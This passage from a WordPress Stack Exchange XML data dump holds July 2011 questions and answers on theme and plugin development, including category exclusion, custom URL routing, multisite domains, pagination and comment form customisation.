href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;Regenerate Thumbnails&lt;/a&gt; after you create the code, and it will go through all your images and have WP regenerate the thumbnails, creating the proper image sizes for all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also remember when making your theme that this code is more of a guideline than code you should actually use. I wrote it to teach you how to do it yourself and to customize your theme, not to be copy-pasta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find out more about image handling in themes here:&#xA;&lt;a href=&quot;http://ottopress.com/2011/photo-gallery-primer/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2011/photo-gallery-primer/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-26T00:28:44.480" CommentCount="1" />
  <row Id="24051" PostTypeId="2" ParentId="11314" CreationDate="2011-07-26T00:38:32.347" Score="1" ViewCount="" Body="&lt;p&gt;This is a three year old problem. I expect that you just upgraded from a very, very old version of WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/solution-for-posts-suddenly-appearing-in-reverse-order&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/solution-for-posts-suddenly-appearing-in-reverse-order&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom line: You have a broken version of MySQL. Have your host upgrade it.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-26T00:38:32.347" />
  <row Id="24052" PostTypeId="1" CreationDate="2011-07-26T01:01:23.783" Score="0" ViewCount="59" Body="&lt;p&gt;I always assumed there was a way to exclude certain categories from being output in the loop using &lt;code&gt;get_the_category&lt;/code&gt;, &lt;code&gt;the_category&lt;/code&gt;, or one of the &lt;code&gt;term&lt;/code&gt; related functions. After looking around it seems like the only way is to grab the array and just remove them by ID or name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance this is what I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // exclude category ID 12 as an example.&#xA;&#xA;      foreach((get_the_category()) as $cat) {&#xA;        if (!($cat-&amp;gt;cat_ID =='12'))&#xA;         echo '&amp;lt;a href=&quot;' . get_bloginfo('url') . '/category/' &#xA;         . $cat-&amp;gt;category_nicename . '/&quot;&amp;gt;'. ' | ' . $cat-&amp;gt;cat_name . '&amp;lt;/a&amp;gt;';&#xA;      } &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This looks kinda messy due to having a somewhat &quot;hard-coded url&quot; using &lt;code&gt;/category/&lt;/code&gt; ( I know I can also change this but it still seems counter intuitive).&lt;br&gt;&#xA;Is there no better way to exclude categories?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT &lt;em&gt;*&lt;/em&gt;*&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After thinking about this I realized I don't want template code at all because I want to remove certain categories/terms from the front end completely using the filter t31os mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('list_terms_exclusions','my_list_terms_exclusions');&#xA;   function my_list_terms_exclusions($args) {&#xA;      $where = &quot; AND t.term_id  NOT IN ('12')&quot;;&#xA;&#xA;        return $where;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this does not work on &lt;code&gt;get_the_term_list&lt;/code&gt; or &lt;code&gt;the_category&lt;/code&gt;, any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-07-26T17:22:53.173" LastActivityDate="2011-07-26T17:22:53.173" Title="Better way to exclude category output for post/pages?" Tags="&lt;categories&gt;&lt;exclude&gt;&lt;get-the-category&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="24053" PostTypeId="2" ParentId="23623" CreationDate="2011-07-26T01:04:22.610" Score="0" ViewCount="" Body="&lt;p&gt;This looks promising:&#xA;&lt;code&gt;http://google-code-prettify.googlecode.com/svn/trunk/README.html&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They don't have java yet, but plan to. Also their coloring scheme looks close to what I want&lt;/p&gt;&#xA;" OwnerUserId="7200" LastActivityDate="2011-07-26T01:04:22.610" />
  <row Id="24054" PostTypeId="1" CreationDate="2011-07-26T01:52:39.163" Score="0" ViewCount="26" Body="&lt;p&gt;Having trouble getting around the issue where my client wants all of the images for each post to be on one line. This can be done in the editor, but they are not very tech savvy -- just wants to be able to type a blurb, and then add a series of photos, and have them all sit on a single line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a wordpress php file or a hook/override I can use to make it so all the &lt;p&gt; tags containing images float left and add a clear:both at the end of this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that there's selectable format's for the post -- would it be here that I would do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also -- I saw a doc showing how the format works and it looks like it just changes the structure of the title &amp;amp; content. How can I edit the structure of the actual post content since that's where the images exist?&lt;/p&gt;&#xA;" OwnerUserId="6744" LastActivityDate="2011-07-26T03:35:52.587" Title="All images on one line for each post" Tags="&lt;posts&gt;&lt;attachments&gt;&lt;media-library&gt;&lt;formatting&gt;" AnswerCount="1" />
  <row Id="24056" PostTypeId="1" CreationDate="2011-07-26T02:55:17.097" Score="0" ViewCount="23" Body="&lt;p&gt;I'm sorry if I'm not too clear. This is my first question on StackExchange, and I'm relatively new to WordPress programming, so I may be missing some background. Anyway, here goes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create something like dynamically generated pages for my plugin. I say pages, but there are no pages stored in the database. Instead, the plugin would get the relevant information from its own table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, suppose I entered something via my plugin and I named it Foo Bar. Then the plugin would store in its own table some information, including the slug foo-bar. Then, when I enter mydomain.com/foo-bar I would get some kind of information from the plugin regarding that particular entry. The issue is that I don't want to be creating a page for each of these entries. I also can't really use a rewrite rule, since pages would use the same url structure. What I basically need is something that would do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Go to regular page if slug is in the db&#xA;2) if not, check if slug is in the plugin's db and output the relevant content&#xA;3) if not, display a 404 or whatever &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been able to achieve this in a sort of hackish way: created a template file and added a couple of rules:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter('template_redirect','redirect_canonical');&#xA;add_filter( '404_template', array(&amp;amp;$myclass,'get_template') );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the template, I do some logic with $wp-&gt;request&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the page is still reported as a 404 (even if I have the content I wanted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there's got to be a better way to do this, any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: So here's what is working for me (for others who might encounter the same issue):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function site_router() {&#xA;    global $wp_query,$window_title;&#xA;    $window_title = &quot;test&quot;;&#xA;    $wp_query-&amp;gt;is_404 = false;&#xA;    load_template(dirname(__FILE__) . '/mytemplate.php');&#xA;    exit;&#xA;}&#xA;&#xA;add_action( 'send_headers', 'site_router');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7326" LastEditorUserId="7326" LastEditorDisplayName="" LastEditDate="2011-07-29T00:04:59.153" LastActivityDate="2011-07-29T00:04:59.153" Title="How can I do some additional logic on page requests before redirecting to a 404?" Tags="&lt;database&gt;&lt;page&gt;&lt;redirect&gt;&lt;slug&gt;" CommentCount="2" />
  <row Id="24057" PostTypeId="2" ParentId="24054" CreationDate="2011-07-26T03:35:52.587" Score="1" ViewCount="" Body="&lt;p&gt;Just click Gallery---&gt;&quot;insert gallery&quot; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change styles you edit the CSS file. If the theme is coded correctly post images will have a unique CSS class.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-26T03:35:52.587" CommentCount="3" />
  <row Id="24058" PostTypeId="2" ParentId="24029" CreationDate="2011-07-26T03:38:39.307" Score="1" ViewCount="" Body="&lt;p&gt;This happened to a site a friend of mine was working on. Whats weird is that he deleted the problematic file and copied paste the code into a new php file. It seemed to do the trick. worth a shot?&lt;/p&gt;&#xA;" OwnerUserId="7328" LastActivityDate="2011-07-26T03:38:39.307" CommentCount="1" />
  <row Id="24059" PostTypeId="2" ParentId="24042" CreationDate="2011-07-26T04:37:51.213" Score="1" ViewCount="" Body="&lt;p&gt;This plugin will help you accomplish your goal: &lt;a href=&quot;http://www.ambrosite.com/plugins/next-previous-post-link-plus-for-wordpress&quot; rel=&quot;nofollow&quot;&gt;http://www.ambrosite.com/plugins/next-previous-post-link-plus-for-wordpress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-07-26T04:37:51.213" CommentCount="2" />
  <row Id="24060" PostTypeId="1" CreationDate="2011-07-26T04:56:49.533" Score="0" ViewCount="44" Body="&lt;p&gt;Looking through answers to my problem, I found the following post:  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/22093/how-to-paginate-a-list-of-tags&quot;&gt;How to paginate a list of tags&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I successfully implemented the code to divide get_terms() into pages... and if I manually call the URL /mypage/page/2/ or /mypage/page/3/ - the pagination works flawlessly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in the solution, it suggests adding pagination code manually.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page = ( get_query_var('paged') ) ? get_query_var( 'paged' ) : 1;&#xA;$per_page = 36;&#xA;$offset = ( $page-1 ) * $per_page;&#xA;$args = array( 'number' =&amp;gt; $per_page, 'offset' =&amp;gt; $offset, 'orderby' =&amp;gt; 'count', 'order' =&amp;gt; 'desc' );&#xA;&#xA;$terms = get_terms( $taxonomy, $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I make it so that the above code works with wp_pagenavi() - instead of manually adding page code - so that wp_pagenavi() controls the display of page numbers?&lt;/p&gt;&#xA;" OwnerUserId="7330" LastActivityDate="2011-07-26T04:56:49.533" Title="Divide get_terms() Into Pages (with WP-PageNavi)" Tags="&lt;pagination&gt;&lt;get-terms&gt;" />
  <row Id="24061" PostTypeId="1" CreationDate="2011-07-26T04:57:10.390" Score="0" ViewCount="156" Body="&lt;p&gt;is there a way to make multilingual permalinks with qtranslate?&#xA;Or, maybe just if I could output the permalinks as www.mypage.com/?post_title=SOME-TITLE, i could rewrite the url via .htaccess.&#xA;Any help on this subject would be appriciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw; I also found this &lt;a href=&quot;http://www.qianqin.de/qtranslate/forum/viewtopic.php?f=4&amp;amp;t=1049&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; -&gt; somebody patched some files in qtranslate and made the permalinks work... any input on how to apply the patch would also be very appriciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(if it helps, i'm using wordpress ver 3.2.1 and qtrnslate ver 2.5.24)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="6330" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-26T06:42:16.627" LastActivityDate="2011-07-26T06:42:16.627" Title="Multilingual permalinks (qtranslate)" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;plugin-qtranslate&gt;" CommentCount="1" />
  <row Id="24063" PostTypeId="1" AcceptedAnswerId="24071" CreationDate="2011-07-26T05:46:28.693" Score="1" ViewCount="46" Body="&lt;p&gt;I am making a plugin that needs a page that  can be accessed from the outside, pretty much like an API, and have the url like so,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://xxxxx/custom_method?parameter=xxxxx&amp;amp;something=xxxx&quot; rel=&quot;nofollow&quot;&gt;http://xxxxx/custom_method?parameter=xxxxx&amp;amp;something=xxxx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a clean way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5156" LastActivityDate="2011-07-26T08:06:26.823" Title="Custom routing for plugins" Tags="&lt;plugins&gt;&lt;api&gt;&lt;routing&gt;" AnswerCount="1" />
  <row Id="24064" PostTypeId="1" CreationDate="2011-07-26T05:57:16.777" Score="0" ViewCount="55" Body="&lt;p&gt;And yes, I do have reasons for not keeping it password-protected&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a Wordpress.com blog, by the way. &lt;/p&gt;&#xA;" OwnerUserId="7213" LastActivityDate="2011-07-26T12:16:43.407" Title="I told Wordpress *not* to allow search engines - why does Google Blog Search still index my blog?" Tags="&lt;wordpress.com&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="24065" PostTypeId="1" CreationDate="2011-07-26T06:19:10.183" Score="0" ViewCount="24" Body="&lt;pre&gt;&lt;code&gt;if ( !empty($_POST['pass1'] ) &amp;amp;&amp;amp; !empty( $_POST['pass2'] ) ) {&#xA;            if ( $_POST['pass1'] == $_POST['pass2'] )&#xA;&#xA;    wp_update_user( array( 'ID' =&amp;gt; $current_user-&amp;gt;id, 'user_pass' =&amp;gt; esc_attr( $_POST['pass1'] ) ) );&#xA;&#xA;            else&#xA;            $error = __('The passwords you entered do not match.  Your password was not updated.', 'frontendprofile');&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have used the above code to change users password but  the error was occured&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&quot;Warning: Cannot modify header information - headers already sent by (output started at /hermes/web02/b1441/moo.sharerecipesnowcom/sharerecipesnownet/wp-content/themes/recipe/header.php:13) in /hermes/web02/b1441/moo.sharerecipesnowcom/sharerecipesnownet/wp-includes/pluggable.php on line 720&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5897" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-07-26T06:26:15.310" LastActivityDate="2011-09-04T00:41:05.817" Title="wordpress custom password change problem" Tags="&lt;password&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24066" PostTypeId="1" AcceptedAnswerId="24131" CreationDate="2011-07-26T06:32:47.397" Score="0" ViewCount="30" Body="&lt;p&gt;This question is similar to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/23486/multisite-with-entirely-different-domains&quot;&gt;Multisite with entirely different domains?&lt;/a&gt; which was not answered.  I am re-asking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to host multiple domains using WP multisite, which is installed and working normally in &quot;multiple subdomains&quot; mode.  This creates multiple WP sites like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;site1.domain.com&#xA;site2.domain.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.domain1.com&#xA;www.domain2.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried the Wordpress MU domain mapping plugin but I'm not satisfied with its behavior.  This plugin seems to simply redirect the user, ie. the user enters&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.domain1.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the browser is sent to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;site1.domain.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't want the user to know they aren't on domain1.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried setting up VirtualHosts in Apache:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;&#xA;   ServerName site1.domain.com&#xA;   ServerAlias domain1.com&#xA;   ServerAlias www.domain1.com&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this also seems to produce a redirect to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;site1.domain.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the users's browser.&lt;/p&gt;&#xA;" OwnerUserId="7333" LastActivityDate="2011-07-26T16:51:39.773" Title="Multisite with Different Domains" Tags="&lt;multisite&gt;" AnswerCount="2" />
  <row Id="24067" PostTypeId="2" ParentId="21747" CreationDate="2011-07-26T07:04:07.383" Score="0" ViewCount="" Body="&lt;p&gt;I suggest the &lt;a href=&quot;http://wordpress.org/extend/plugins/capsman/&quot; rel=&quot;nofollow&quot;&gt;Capability Manager&lt;/a&gt; plugin, which is very simple to use.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-07-26T07:04:07.383" />
  <row Id="24068" PostTypeId="1" CreationDate="2011-07-26T07:09:37.830" Score="0" ViewCount="69" Body="&lt;p&gt;Is there any way to replace standard WordPress comments form action, which usually looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo get_option('siteurl'); ?&amp;gt;/wp-comments-post.php&quot; method=&quot;post&quot; id=&quot;commentform&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to something custom WITHOUT altering comments.php (i.e. for a plugin, so you don't have to make end-users edit their themes):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo get_option('siteurl'); ?&amp;gt;/wp-comments-post.php&quot; some_java_script some_tag=&quot;some_value&quot; method=&quot;post&quot; id=&quot;commentform&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7336" LastActivityDate="2011-08-25T17:34:45.720" Title="WordPress custom form action url" Tags="&lt;comments&gt;&lt;form&gt;&lt;actions&gt;" AnswerCount="2" />
  <row Id="24069" PostTypeId="2" ParentId="24068" CreationDate="2011-07-26T08:02:18.120" Score="0" ViewCount="" Body="&lt;p&gt;simple with jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//first make sure you have jQuery on that page&#xA;add_action('wp_enqueue_scripts','make_sure_i_have_jquery');&#xA;function make_sure_i_have_jquery(){&#xA;    if (!is_admin())&#xA;        wp_enqueue_script( 'jquery' );&#xA;}&#xA;//then just change the url to you own&#xA;    add_action('wp_footer','change_comment_form');&#xA;    function make_sure_i_have_jquery(){&#xA;        if (!is_admin() &amp;amp;&amp;amp; (is_page() || is_single()))&#xA;            echo '&amp;lt;script&amp;gt; $(&quot;#commentform&quot;).attr(&quot;action&quot;, &quot;http://yourUrl.com&quot;); &amp;lt;/script&amp;gt;';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just paste this in your theme's functions.php or the plugin your are develop and change &lt;code&gt;http://yourUrl.com&lt;/code&gt; to the url you want&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-26T08:02:18.120" />
  <row Id="24071" PostTypeId="2" ParentId="24063" CreationDate="2011-07-26T08:06:26.823" Score="2" ViewCount="" Body="&lt;p&gt;The WordPress Way of doing it is using &lt;code&gt;query_vars&lt;/code&gt; so first you add you vars to the array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//add to query vars&#xA;function add_query_vars($vars) {&#xA;    $new_vars = array('custom_method','cm_parameter');&#xA;    $vars = $new_vars + $vars;&#xA;    return $vars;&#xA;}&#xA;&#xA;add_filter('query_vars', 'add_query_vars');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then you can check in your plugin for the vars:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp; &#xA;    if (array_key_exists('custom_method', $wp-&amp;gt;query_vars) &amp;amp;&amp;amp; isset($wp-&amp;gt;query_vars['custom_method'])){&#xA;      //do your stuff&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-26T08:06:26.823" CommentCount="4" />
  <row Id="24072" PostTypeId="2" ParentId="24052" CreationDate="2011-07-26T08:14:46.350" Score="1" ViewCount="" Body="&lt;p&gt;If the URL being &quot;hard-coded&quot; is the problem you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_category_link&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;code&gt;get_category_link&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach((get_the_category()) as $cat) {&#xA;    if ($cat-&amp;gt;cat_ID !='12')&#xA;        echo '&amp;lt;a href=&quot;'.get_category_link($cat-&amp;gt;cat_ID).'&quot;&amp;gt; | ' . $cat-&amp;gt;cat_name . '&amp;lt;/a&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-26T08:14:46.350" CommentCount="1" />
  <row Id="24073" PostTypeId="1" AcceptedAnswerId="24091" CreationDate="2011-07-26T08:27:26.640" Score="0" ViewCount="31" Body="&lt;p&gt;For a page template I am trying to include the 3 children of each page. That works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However as I want to include a different image for each of the children, I would like to add the &lt;code&gt;slug&lt;/code&gt; of each child to the &lt;code&gt;li&lt;/code&gt; on the parent page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found something that places the &lt;code&gt;slug&lt;/code&gt; of the parent page in the &lt;code&gt;li&lt;/code&gt;'s:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$slug = basename(get_permalink());&#xA;wp_list_pages('title_li=&amp;amp;sort_column=menu_order&amp;amp;link_before=&amp;lt;div class=&quot;'.$slug.'&quot;&amp;gt;&amp;amp;link_after=&amp;lt;/div&amp;gt;&amp;amp;child_of='.$post-&amp;gt;ID.'');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously not what I want, but at least nice to see that it is possible somehow to add something to the li in order to be able to identify it further with CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the result to be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li class=child1-slug&amp;gt;...&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=child2-slug&amp;gt;...&amp;lt;/li&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR (as the example above shows)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a&amp;gt;&amp;lt;div class=&quot;child1-slug&quot;&amp;gt;...&amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a&amp;gt;&amp;lt;div class=&quot;child2-slug&quot;&amp;gt;...&amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone push me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="2015" LastEditorUserId="2015" LastEditorDisplayName="" LastEditDate="2011-07-26T09:25:58.173" LastActivityDate="2011-07-26T12:51:46.967" Title="add slug of child(ren) to li using wp_list_pages" Tags="&lt;slug&gt;&lt;children&gt;&lt;wp-list-pages&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="24074" PostTypeId="2" ParentId="14331" CreationDate="2011-07-26T08:40:10.660" Score="0" ViewCount="" Body="&lt;p&gt;Here is another way to do something similar, with one SQL query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static public function get_terms_by_post_type( $taxonomies, $post_types ) {&#xA;&#xA;    global $wpdb;&#xA;&#xA;    $query = $wpdb-&amp;gt;prepare( &quot;SELECT t.*, COUNT(*) from $wpdb-&amp;gt;terms AS t INNER JOIN $wpdb-&amp;gt;term_taxonomy AS tt ON t.term_id = tt.term_id INNER JOIN $wpdb-&amp;gt;term_relationships AS r ON r.term_taxonomy_id = tt.term_taxonomy_id INNER JOIN $wpdb-&amp;gt;posts AS p ON p.ID = r.object_id WHERE p.post_type IN('&quot;.join( &quot;', '&quot;, $post_types ).&quot;') AND tt.taxonomy IN('&quot;.join( &quot;', '&quot;, $taxonomies ).&quot;') GROUP BY t.term_id&quot;);&#xA;&#xA;    $results = $wpdb-&amp;gt;get_results( $query );&#xA;&#xA;    return $results;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7339" LastActivityDate="2011-07-26T08:40:10.660" />
  <row Id="24075" PostTypeId="1" CreationDate="2011-07-26T08:47:37.253" Score="0" ViewCount="42" Body="&lt;p&gt;I want to insert some JavaScript into my post. Actually those are some small apps made in JavaScript. Please let me know how to insert the JavaScript into the post ?&lt;/p&gt;&#xA;" OwnerUserId="7340" LastActivityDate="2011-07-26T16:18:29.117" Title="Insert JavaScript in a blog post or a new page?" Tags="&lt;posts&gt;&lt;javascript&gt;" AnswerCount="1" />
  <row Id="24076" PostTypeId="1" CreationDate="2011-07-26T08:49:54.973" Score="0" ViewCount="29" Body="&lt;p&gt;I would like to be able to select only posts with a custom variable and use them in a plugin that uses shortcode. How could I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following guide from someone, but don't know how to hook them up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('promoslider_query', 'my_custom_query_function');&#xA;function my_custom_query_function( $query ){&#xA;   $query['meta_query'] = array(&#xA;  array(&#xA;    'key' =&amp;gt; 'promo',&#xA;    'value' =&amp;gt; 'true'&#xA;      )&#xA;   );&#xA;   return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and also the shortcode&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode('[promoslider post_type=&quot;post&quot; width=&quot;810px&quot; height=&quot;185px&quot;]') ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do i have to create another loop? But if there is a loop, how do i NOT display 4 sliders if there are 4 posts? Rather I have to somehow add the info to the slider without looping. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I am not entirely clear on how this filter is applied, to what and at which point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanx in advance&lt;/p&gt;&#xA;" OwnerUserId="5760" LastEditorUserId="5760" LastEditorDisplayName="" LastEditDate="2011-07-26T14:48:22.997" LastActivityDate="2011-07-26T14:48:22.997" Title="How to pass specific content to a shortcode?" Tags="&lt;query-posts&gt;&lt;filters&gt;&lt;loop&gt;&lt;shortcode&gt;&lt;add-filter&gt;" />
  <row Id="24077" PostTypeId="2" ParentId="24064" CreationDate="2011-07-26T08:50:53.927" Score="1" ViewCount="" Body="&lt;p&gt;I've noticed this problem. I can't remember how we got around it... I think we manually set a robots.txt file as the one that was created wasn't doing the job when it came to Google.&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2011-07-26T08:50:53.927" CommentCount="2" />
  <row Id="24078" PostTypeId="1" CreationDate="2011-07-26T09:07:48.150" Score="0" ViewCount="19" Body="&lt;p&gt;Huge apologies if this has been asked already, I couldn't find a solution here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize it's simple to show posts by category in WordPress, but what I want to do is to echo first the name of the category as a header (it's a custom taxonomy, but I guess that makes no difference), then all the posts contained in this category, then the next category name and all the posts contained it that category etc, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code so far looks like this: This is will organize the posts by category ok, but obviously it will also print the category name every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA;    $q = new WP_Query( 'post_type=reviews&amp;amp;taxonomy=productions&amp;amp;posts_per_page=-1&amp;amp;order=ASC' );&#xA;    $prods = strip_tags( get_the_term_list( $q-&amp;gt;post-&amp;gt;ID, 'productions', '', ', ', '' ) );&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;dl&amp;gt;&#xA;    &amp;lt;?php&#xA;        echo $prods;&#xA;        while( $q-&amp;gt;have_posts() ) : $q-&amp;gt;the_post();&#xA;        $text = get_post_meta( $post-&amp;gt;ID, '_review_text', true );&#xA;        $source = get_post_meta( $post-&amp;gt;ID, '_review_source', true );&#xA;    ?&amp;gt;&#xA;        &amp;lt;dt&amp;gt;&amp;lt;blockquote&amp;gt;&amp;lt;?php echo $text; 